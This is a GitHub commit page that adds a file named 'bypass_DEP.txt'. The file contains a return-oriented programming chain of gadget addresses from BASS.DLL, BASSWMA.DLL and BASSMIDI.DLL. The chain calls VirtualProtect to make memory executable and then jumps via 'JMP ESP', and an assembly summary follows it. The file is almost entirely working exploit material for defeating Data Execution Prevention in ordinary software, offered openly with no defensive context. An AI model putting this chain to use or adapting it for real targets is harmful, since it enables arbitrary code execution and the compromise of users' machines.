Skip to content

Commit

Permalink
Create bypass_DEP.txt
Browse files Browse the repository at this point in the history
  • Loading branch information
Rev0x1337 authored Oct 20, 2024
1 parent 0463fd7 commit 969396f
Showing 1 changed file with 26 additions and 0 deletions.
26 changes: 26 additions & 0 deletions bypass_DEP.txt
Original file line number Diff line number Diff line change
@@ -0,0 +1,26 @@
0X10010157, # POP EBP # RETN [BASS.DLL]
0X10010157, # SKIP 4 BYTES [BASS.DLL]
0X10015F77, # POP EAX # RETN [BASS.DLL]
0XFFFFFDFF, # VALUE TO NEGATE, WILL BECOME 0X00000201
0X10014DB4, # NEG EAX # RETN [BASS.DLL]
0X10032F72, # XCHG EAX,EBX # RETN 0X00 [BASS.DLL]
0X10015F82, # POP EAX # RETN [BASS.DLL]
0XFFFFFFC0, # VALUE TO NEGATE, WILL BECOME 0X00000040
0X10014DB4, # NEG EAX # RETN [BASS.DLL]
0X10038A6D, # XCHG EAX,EDX # RETN [BASS.DLL]
0X101049EC, # POP ECX # RETN [BASSWMA.DLL]
0X101082DB, # &WRITABLE LOCATION [BASSWMA.DLL]
0X1001621C, # POP EDI # RETN [BASS.DLL]
0X1001DC05, # RETN (ROP NOP) [BASS.DLL]
0X10604154, # POP ESI # RETN [BASSMIDI.DLL]
0X10101C02, # JMP [EAX] [BASSWMA.DLL]
0X10015FE7, # POP EAX # RETN [BASS.DLL]
0X1060E25C, # PTR TO &VIRTUALPROTECT() [IAT BASSMIDI.DLL]
0X1001D7A5, # PUSHAD # RETN [BASS.DLL]
0X10022AA7, # PTR TO 'JMP ESP' [BASS.DLL]

In ASM
PUSH 0X201
PUSH 0X40
PUSH WRITEBLE_LOCATION
CALL VIRTUALPROTECT

0 comments on commit 969396f

Please sign in to comment.